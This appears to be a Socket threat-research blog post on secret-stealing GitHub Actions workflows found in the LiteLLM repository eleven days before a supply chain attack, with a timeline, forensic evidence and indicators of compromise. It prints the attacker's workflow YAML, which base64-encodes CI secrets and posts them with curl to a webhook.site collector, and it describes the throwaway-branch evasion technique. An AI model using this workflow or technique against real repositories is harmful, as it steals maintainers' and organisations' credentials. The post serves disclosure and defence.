New Evidence Shows LiteLLM Secret-Stealing Workflows Ran 11 Days Before Supply Chain Attack

Socket uncovered secret-stealing workflows that ran in LiteLLM’s GitHub repository 11 days before the supply chain attack on PyPI and Docker.

  • Karlo Zanki
    Karlo Zanki
10 min read
New Evidence Shows LiteLLM Secret-Stealing Workflows Ran 11 Days Before Supply Chain Attack
Socket's Threat Research team found that a malicious secret-exfiltration workflow was already running successfully in the BerriAI/litellm repository on October 10, 2026, eleven days before the release-pipeline attack that published malicious litellm==1.107.0 artifacts, placing observed malicious activity in the repository more than a week before the compromise came to light.

What Socket Found

The compromise of the BerriAI/litellm release pipeline on October 21, 2026, which produced malicious litellm==1.107.0 wheels on PyPI and a malicious container image, has been documented separately. This update does not revisit it. It reports a different finding: the attacker held access to the GitHub organization long before October 21.

Socket recovered two malicious commits, each adding a workflow at .github/workflows/cache.yml under the same subject, ci: bump cache config. The first, b69bc36fd4e23b23ea09f4ce63a92b07258f5044, was committed on October 10, 2026 at 22:11:45 UTC. The second, 1a6e3c1e41f1b5c8eeaeeb2ae94bcd95390fa891, followed on October 12. The repository's GitHub Actions Performance Metrics record one successful run for each.

Neither commit was pushed to a branch that still exists. Both were pushed to short-lived branches named ci-tmp-<hex> that were created, used, and deleted within minutes, which is why the activity leaves almost nothing behind in the repository's ordinary history.

The result is a compromise window of at least eleven days, from October 10 through the release attack on October 21, during which workflows built to collect and transmit the organization's CI secrets ran without being detected.

  • October 10, 2026, 22:11 UTC — Commit b69bc36 adds a single-job cache.yml on branch ci-tmp-a351cc. The workflow runs successfully. The branch is deleted the same day.
  • October 12, 2026, 12:16 UTC — Commit 1a6e3c1 adds a six-job cache.yml on branch ci-tmp-4d8517. The workflow runs successfully. The branch is deleted the same day.
  • October 21, 2026 — The release pipeline is used to publish malicious litellm==1.107.0 artifacts, documented separately.
  • October 21, 2026 — .github/workflows/cache.yml is absent from main at commit f2118fc.

Socket contacted the LiteLLM team as soon as we discovered this activity and coordinated with them on publication of these findings.

After receiving Socket’s findings on the earlier malicious workflows, LiteLLM published its attack-chain investigation, corroborating the October 10 activity and connecting it to the malicious release. LiteLLM traced initial access to an Agent Platform master key accidentally committed to a public repository in May and never revoked. The attacker used it to retrieve a GitHub organization owner’s token, then ran malicious workflows to steal additional maintainers’ credentials. LiteLLM says its audit logs link the GH_TOKEN stolen by the October 10 workflow Socket identified to approval of the October 21 malicious release.

Evidence: Actions Performance Metrics for October 10

The evidence comes from the repository's own Insights, under Actions performance metrics. Across the period the metrics record two successful runs of cache.yml, one on October 10 and one on October 12. The snapshot below narrows the date range to 10/10/2026 – 10/10/2026, with the workflow filter set to cache, to fix the earlier of the two as the earliest date on which the workflow is known to have executed successfully.

Four values in that row matter:

  • 1 workflow run on a day two days before commit 1a6e3c1 was authored. A workflow at the path .github/workflows/cache.yml already existed and executed.
  • 1 job, where the October 12 file defines six. The version that ran on October 10 was structurally different.
  • 4s average run time, consistent with the design of the recovered workflow, which performs no repository checkout and no build. A job that only reads environment variables and issues one curl finishes in seconds.
  • 0% job failures, consistent with the recovered workflow's use of || true, which suppresses any non-zero exit from the exfiltration step so the run reports success.

The panel reports aggregate counts rather than run contents, so Socket cannot read from it which secrets that run transmitted. What it does establish is not in question: a workflow at the path .github/workflows/cache.yml existed on October 10, it executed, and it succeeded. No workflow occupies that path on main as of commit f2118fc.

The Pattern: Branch, Push, Run, Delete

The repository's activity log records the same four-step sequence twice, once for each malicious commit.

Each cycle runs as follows:

  1. Create a throwaway branch named ci-tmp-<hex> from a recent legitimate commit on the repository. The October 10 branch ci-tmp-a351cc was cut from 000b368, a genuine guardrail bug fix merged minutes earlier. The October 12 branch ci-tmp-4d8517 was cut from c4bd202, a genuine CI change.
  2. Push one commit adding .github/workflows/cache.yml, titled ci: bump cache config.
  3. Let on: [push] fire. The push to that branch starts the workflow in the upstream repository's context, where secrets.* resolves to real values. The jobs finish in seconds.
  4. Delete the branch.

Using a legitimate commit as the branch base is what makes the push look routine: the branch appears to carry work that already exists in the repository, with one small CI commit on top.

The commit objects themselves survive, and the activity log preserves the branch names, the base commits, and the order of events. Together with the environment deployment records, that is enough to reconstruct the operation after the fact.

Corroboration: The Environment Deployment Records

The repository's environment deployment history provides a second, independent record of the same activity, and it is more durable than the workflow file itself.

Every environment the workflow's jobs bind is a real environment configured in the repository. The attacker did not guess names. e2e-changed, integration-postgres, integration-providers, integration-redis, and integration-redis-postgres all appear in the repository's environment list, which means the environment inventory was enumerated before the workflow was written.

Binding a job to an environment creates a deployment record in that environment. Those records remain visible after a workflow file is deleted.

The most recent deployment to the integration-redis environment is the one that matters. It succeeded, it is still marked Active, it is titled ci: bump cache config after the malicious commit's subject, and it was deployed from the ref ci-tmp-4d8517. The older entries in the same environment are unrelated test deployments from March.

That ref name matters. The workflow triggers on on: [push], which fires for a push to any branch, so the attacker did not need to touch main to make the jobs run and reach the environment secrets. A short-lived branch was enough, which is consistent with the commit's absence from main and with Socket's inability to locate the earlier commits.

The Two Workflows

Both commits carry the subject ci: bump cache config, phrasing that implies an edit to existing configuration. Both instead create a new file and touch nothing else.

The October 10 workflow, b69bc36, is 24 lines and defines a single job:

YAML
name: ci
on: [push]
permissions: {}
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: setup
        env:
          S1: ${{ secrets.GH_TOKEN }}
          S2: ${{ secrets.LINEAR_API_KEY }}
          S3: ${{ secrets.LITELLM_API_KEY }}
          S4: ${{ secrets.PROVIDER_INFO_SYNC_APP_ID }}
          S5: ${{ secrets.PROVIDER_INFO_SYNC_APP_PRIVATE_KEY }}
          S6: ${{ secrets.TOGETHER_API_KEY }}
        run: |
          echo "GH_TOKEN=${S1}" > /tmp/c.env
          ...
          base64 -w0 /tmp/c.env > /tmp/c.b64
          curl -m 25 -s -X POST "https://webhook.site/65a42464-3cfa-4b02-a18c-17a6d7b86f37" -H 'Content-Type: text/plain' -H 'X-Tag: lm1' --data-binary @/tmp/c.b64 || true

The step maps each secret into a positional variable S1 through S6, writes them as KEY=value lines to /tmp/c.env, encodes that file with base64 -w0 into a single line at /tmp/c.b64, and posts the result to a webhook.site collector as --data-binary with a 25-second timeout. The trailing || true ensures the step exits zero whether or not the request succeeds, so the run reports success.

The October 12 workflow, 1a6e3c1, is 97 lines and runs the same four operations six times over. It defines jobs org, e2e, intpg, intprov, intredis, and intrp, each with one step named s. Five of the six bind a GitHub Environment — e2e-changed, integration-postgres, integration-providers, integration-redis, integration-redis-postgres — for the sole purpose of unlocking that environment's secret scope, while org collects repository and organization level secrets. Each job posts under its own X-Tag header value, letting the operator attribute each received blob to the scope it came from.

Three things change between the two, and the direction of change is informative:

  • Scope. October 10 reads six organization-level secrets with no environment bindings. October 12 adds five environment bindings and reaches scopes the first run could not.
  • Collector. The two workflows post to different webhook.site endpoints, 65a42464-3cfa-4b02-a18c-17a6d7b86f37 and 4da03473-a3e7-4dc2-a087-9c564b4208e1, and use different tag conventions, lm1 against per-scope names.
  • Secret selection. The two secret sets do not overlap at all. The second run was not a retry of the first; it collected what the first did not.

That progression is consistent with reconnaissance followed by broader collection. It is also consistent with the October 10 delivery having succeeded. The exfiltration channel did not change between the runs — the same curl of the same base64 file to the same service, differing only in a disposable endpoint identifier — and the first run’s secrets were never requested again. A failed delivery would more plausibly have produced a changed channel, a repeat of the same targets, or both.

Secrets Targeted

Across both workflows, 20 distinct secret names were referenced. The October 10 run took six organization-level secrets:

  • GH_TOKEN — a GitHub token
  • PROVIDER_INFO_SYNC_APP_ID and PROVIDER_INFO_SYNC_APP_PRIVATE_KEY — the identifier and signing key of a GitHub App
  • LINEAR_API_KEY — API access to the organization's Linear workspace
  • LITELLM_API_KEY — API access to a LiteLLM deployment
  • TOGETHER_API_KEY — billable Together AI API access

The first three are the significant ones. A GitHub token and a GitHub App private key are credentials for the platform hosting the repository, not for a third-party service. A GitHub App private key in particular signs JSON Web Tokens that mint installation access tokens, so its value is not limited to a single session and does not expire the way a user token does. Whatever those two credentials were scoped to, the attacker held them from October 10 onward.

Socket has not established how the attacker obtained access in the first place, and does not claim the October 10 theft produced the access used on October 21. What the evidence shows is that platform credentials were among the first things taken, nine days before the release pipeline was abused.

The October 12 run took 14 further secrets and reused none of the first six.

Repository and organization scope, collected by the org job:

  • ANTHROPIC_API_KEY — billable model API access
  • OPENAI_API_KEY — billable model API access
  • AWS_BEARER_TOKEN_BEDROCK — billable model API access via AWS Bedrock
  • GITGUARDIAN_API_KEY — access to the organization's secret-scanning tenant
  • LENS_READ_TOKEN — read access to the service the token is issued for
  • PROVIDER_ISSUE_WEBHOOK_URL — ability to post messages into an internal notification channel

Environment-scoped, collected by the five environment-bound jobs:

  • E2E_LINEAR_STORAGE_STATE_B64 (e2e) — Playwright storage state: live Linear session cookies
  • DATABASE_URL (intpg, intrp) — PostgreSQL connection string, including host and credentials
  • POSTGRES_USER (intpg, intrp) — PostgreSQL account name
  • POSTGRES_PASSWORD (intpg, intrp) — PostgreSQL account password
  • REDIS_HOST (intredis, intrp) — Redis endpoint address
  • REDIS_PORT (intredis, intrp) — Redis endpoint port
  • REDIS_PASSWORD (intredis, intrp) — Redis authentication password
  • TAVILY_API_KEY (intprov) — billable third-party search API access

Two entries deserve emphasis. GITGUARDIAN_API_KEY is a credential for the secret-scanning platform itself, which gives an attacker visibility into, and potentially control over, the alerts that would surface this activity. E2E_LINEAR_STORAGE_STATE_B64 is serialized browser session state used by Playwright for end-to-end tests; a valid storage state permits authenticated access to the associated Linear account without a password and without satisfying multi-factor authentication.

Push Access and Attribution

GitHub does not expose repository or environment secrets to workflows triggered by pull requests from forks. A workflow that uses on: [push] and reads secrets.* resolves those values only when it runs in the upstream repository's own context. Placing and executing this workflow therefore required push access to BerriAI/litellm. It was not a drive-by pull request from an outside contributor.

The activity log attributes all six events — both branch creations, both pushes, both deletions — to the account ishaan-berri. That attribution is worth more than the commit metadata beside it. Both b69bc36 and 1a6e3c1 are unsigned, and a commit's author and committer fields are self-asserted strings that anyone with push access can set to any value. The activity log instead records which authenticated principal performed each operation, which is not forgeable in the same way.

What it identifies, though, is the credential that was used, not the person holding it. A stolen session, a personal access token or SSH key lifted from somewhere else, and legitimate use all produce an identical log entry.

Separating those cases requires the organization audit log, which the repository view does not expose — source addresses, user agents, and session history for those six events, measured against the account's own baseline, along with any access token, SSH key, or OAuth grant created shortly before October 10. Socket has not seen that data. The evidence supports the conclusion that the organization was compromised; it does not by itself establish how the account's credentials came to be used.

What Socket Could Not Confirm

Separating what the evidence establishes from what it does not matters for anyone scoping their own exposure.

  • Whether October 10 is the start. It is the earliest date Socket can evidence. The same branch-push-delete cycle leaves little behind, so earlier cycles would be correspondingly hard to find.
  • Whether more cycles occurred between October 12 and October 21. Socket recovered two. Establishing the full count requires the repository's complete Actions run history and activity log, not the performance metrics alone.
  • How the access was obtained. Commit b69bc36 and commit 1a6e3c1 are both unsigned, and distinguishing a compromised account from a stolen token requires GitHub audit log data that is not visible in the repository.
  • Whether the collectors received the data. Both workflows suppress errors, so a successful job does not prove a successful transmission.
  • What was done with the stolen credentials. The GH_TOKEN and GitHub App private key taken on October 10 would support further access, but Socket has not traced their use and does not assert a link to the October 21 release attack.

Indicators of Compromise (IOCs)

Exfiltration Endpoints

  • October 10: hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37
  • October 12: hxxps://webhook[.]site/4da03473-a3e7-4dc2-a087-9c564b4208e1

Request characteristics:

  • X-Tag: lm1 (October 10)
  • X-Tag: org, e2e, intpg, intprov, intredis, intrp (October 12)

Repository artifacts:

  • File: .github/workflows/cache.yml
  • Commits: b69bc36fd4e23b23ea09f4ce63a92b07258f5044 (October 10), 1a6e3c1e41f1b5c8eeaeeb2ae94bcd95390fa891 (October 12)
  • Branches, created and deleted the same day: ci-tmp-a351cc, ci-tmp-4d8517
  • Deployment ref still marked Active: ci-tmp-4d8517

Runner filesystem artifacts:

  • /tmp/c.env
  • /tmp/c.b64
Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!